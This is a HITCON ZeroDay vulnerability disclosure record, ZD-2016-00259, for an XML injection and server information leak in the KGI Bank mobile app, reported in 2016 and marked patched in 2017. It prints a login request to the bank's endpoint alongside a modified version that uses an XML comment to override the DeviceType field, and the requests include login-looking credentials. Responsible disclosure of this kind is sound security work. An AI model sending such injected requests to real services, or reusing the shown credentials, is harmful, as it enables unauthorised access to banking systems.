凱基行動銀行 某銀行App XML Injection、server資訊洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00259
  •  發信 Vendor: 凱基銀行
  • Title: 凱基行動銀行 某銀行App XML Injection、server資訊洩漏
  • Introduction: App XML Injection與server資訊洩漏

處理狀態

目前狀態

公開
Last Update : 2024/08/06
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2016/10/08 11:20:44 : 新提交 (由 baton 更新此狀態)
  • 2016/10/08 11:21:22 : 新提交 (由 HITCON ZeroDay 平台自動更新)
  • 2016/10/19 11:04:23 : 審核中 (由 HITCON ZeroDay 平台自動更新)
  • 2017/03/08 22:51:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/03/13 03:12:08 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/03/13 03:12:08 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/03/13 03:12:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/03/13 03:12:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/03/13 03:13:53 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/05/31 03:00:01 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2017/05/31 12:39:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/05/31 12:39:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/05/31 12:40:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/05/31 14:22:25 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/05/31 14:25:03 : 確認已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2017/06/04 03:00:13 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2024/08/06 20:21:22 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)

詳細資料

  • ZDID：ZD-2016-00259
  • 通報者：baton (baton)
  • 風險：高
  • 類型：惡意程式碼執行 (Malicious Code Execution)

參考資料

暫無資料
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

App XML Injection：https://m.kgibank.com/mbankiweb/xmlintf

server資訊洩漏：http://m.kgibank.com/mbankiweb/xmlintf

敘述

App XML Injection：
原封包
POST /mbankiweb/xmlintf HTTP/1.1
Accept: application/xml
Content-Type: application/xml;charset=UTF-8
Content-Length: 516
Host: m.kgibank.com:443
Connection: close

<AppIntfReq>
<FunctionId>1_1_1_002</FunctionId>
<DeviceOS>12</DeviceOS>
<DeviceType>2</DeviceType>
<DeviceIdentify>358240058253147</DeviceIdentify>
<ReqTime>20161008095512</ReqTime>
<Obj cls="LoginInfo">
<Attr name="forceLogin">N</Attr>
<Attr name="imgReg">809001</Attr>
<Attr name="loginId">A123456789</Attr>
<Attr name="loginPwd">0865786</Attr>
<Attr name="userId">jdgsh3</Attr>
</Obj>
</AppIntfReq>

修改後：

POST /mbankiweb/xmlintf HTTP/1.1
Accept: application/xml
Content-Type: application/xml;charset=UTF-8
Content-Length: 516
Host: m.kgibank.com:443
Connection: close

<AppIntfReq>
<FunctionId>1_1_1_002</FunctionId>
<DeviceOS>12</DeviceOS>
<!--</DeviceOS>
<DeviceType>2</DeviceType>
<DeviceIdentify>-->
<DeviceType>1</DeviceType>
<DeviceIdentify>358240058253147</DeviceIdentify>
<ReqTime>20161008095512</ReqTime>
<Obj cls="LoginInfo">
<Attr name="forceLogin">N</Attr>
<Attr name="imgReg">809001</Attr>
<Attr name="loginId">A123456789</Attr>
<Attr name="loginPwd">0865786</Attr>
<Attr name="userId">jdgsh3</Attr>
</Obj>
</AppIntfReq>

便可將DeviceType值覆蓋

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;